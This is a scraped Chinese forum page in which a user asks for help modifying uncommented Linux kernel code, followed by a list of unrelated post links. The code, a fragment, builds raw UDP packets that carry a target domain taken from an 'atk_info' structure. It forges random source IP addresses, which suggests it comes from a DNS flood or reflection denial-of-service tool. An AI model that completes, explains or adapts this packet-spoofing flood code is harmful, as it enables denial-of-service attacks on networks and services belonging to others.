linux内核
来源:互联网 发布:照片加背景音乐软件 编辑:程序博客网 时间:2024/06/15 13:25
下面的代码有熟悉的人吗?求助啊。想修改点东西不懂代码,也没有注释:
data_len=sizeof(data_1)+strlen(atk_info_p->domain)+1+sizeof(data_2); udp_len=data_len+sizeof(struct udphdr); ip_len=udp_len+sizeof(struct iphdr); skb_size=sizeof(struct ethhdr)+ip_len; if(udp_len%2) skb_size+=1; new_skb = alloc_skb(skb_size, GFP_ATOMIC); if(new_skb==NULL) continue; new_skb->data_len = 0; skb_put(new_skb,sizeof(struct ethhdr)+sizeof(struct iphdr)+sizeof(struct udphdr)); new_eth_p = (struct ethhdr *)new_skb->data; new_ip_p = (struct iphdr*)((size_t)new_eth_p+sizeof(struct ethhdr)); new_skb->mac_header = (unsigned char *)new_eth_p; new_skb->len = sizeof(struct ethhdr)+sizeof(struct iphdr)+sizeof(struct udphdr)+data_len; new_skb->mac_len = sizeof(struct ethhdr); new_skb->dev = dev_get_by_name(&init_net,DEV_ETH); memcpy(new_eth_p->h_source,new_skb->dev->dev_addr,ETH_ALEN); memcpy(new_eth_p->h_dest,atk_info_p->eth_dst,ETH_ALEN); new_eth_p->h_proto = htons(ETH_P_IP); new_udp_p = (struct udphdr*)((size_t)new_ip_p+sizeof(struct iphdr)); new_phdr_p = (struct pseudo_header*)((size_t)new_udp_p-sizeof(struct pseudo_header)); new_skb->network_header = (unsigned char *)new_ip_p; new_skb->transport_header = (unsigned char *)new_udp_p; new_udp_data_p = (unsigned char *)((size_t)new_udp_p+sizeof(struct udphdr)); memcpy(new_udp_data_p,&data_1,sizeof(data_1)); memcpy((new_udp_data_p+(size_t)sizeof(data_1)),&atk_info_p->domain,strlen(atk_info_p->domain)+1); memcpy((new_udp_data_p+(size_t)sizeof(data_1)+(size_t)strlen(atk_info_p->domain)+1),&data_2,sizeof(data_2)); /*create pseudo header */ if(ip_list_level<32) { random_src_ip= (((ntohl(ip_list[_random(seed_p)%(ip_list_n+1)])>>(32-ip_list_level))<<(32-ip_list_level))^(RANDOM_32(seed_p)>>ip_list_level)); /*1.05改动*/ if((random_src_ip&0xff)==0) random_src_ip=htonl(random_src_ip+1); else if((random_src_ip>>24&0xff)<10) random_src_ip=htonl((random_src_ip+200)<<24); else if((random_src_ip>>24&0xff)==255) random_src_ip=htonl((random_src_ip&0xfe)<<24); else if((random_src_ip&0xff)==255) random_src_ip=htonl(random_src_ip-1); else random_src_ip=htonl(random_src_ip); } else random_src_ip=ip_list[_random(seed_p)%(ip_list_n+1)]; if(ntohl(atk_info_p->src_ip)) src_ip = atk_info_p->src_ip; else src_ip = random_src_ip; new_phdr_p->src=src_ip; new_phdr_p->dst = atk_info_p->dst_ip; new_phdr_p->unused = 0; new_phdr_p->proto = IPPROTO_UDP; new_phdr_p->len = htons(udp_len);
0 0
- Linux内核-内核线程
- linux内核-内核同步
- Linux内核--内核数据类型
- Linux内核:编译内核
- linux-内核-内核定时器
- linux内核
- linux内核
- Linux内核
- linux内核
- Linux内核
- linux内核
- Linux内核
- Linux内核
- LINUX内核
- Linux 内核
- linux内核
- linux内核
- linux内核
- AndroidManifest
- 数字签名是什么?
- asp中 or 怎么用才能使下面的筛选生效
- 将Ansi转换为usc2的步骤是什么
- 学习Javascript闭包(Closure)
- linux内核
- extjs资源库云平台 2013.8.6--学期进度计划
- .NET程序有什么好的保护方法?
- 对miller-rabin反向取数的测试
- XnView v2.13
- java集合类深入分析之TreeMap/TreeSet篇
- 机房收费系统文档总结
- 【JAVA基础01】初识java
- 原地满血复活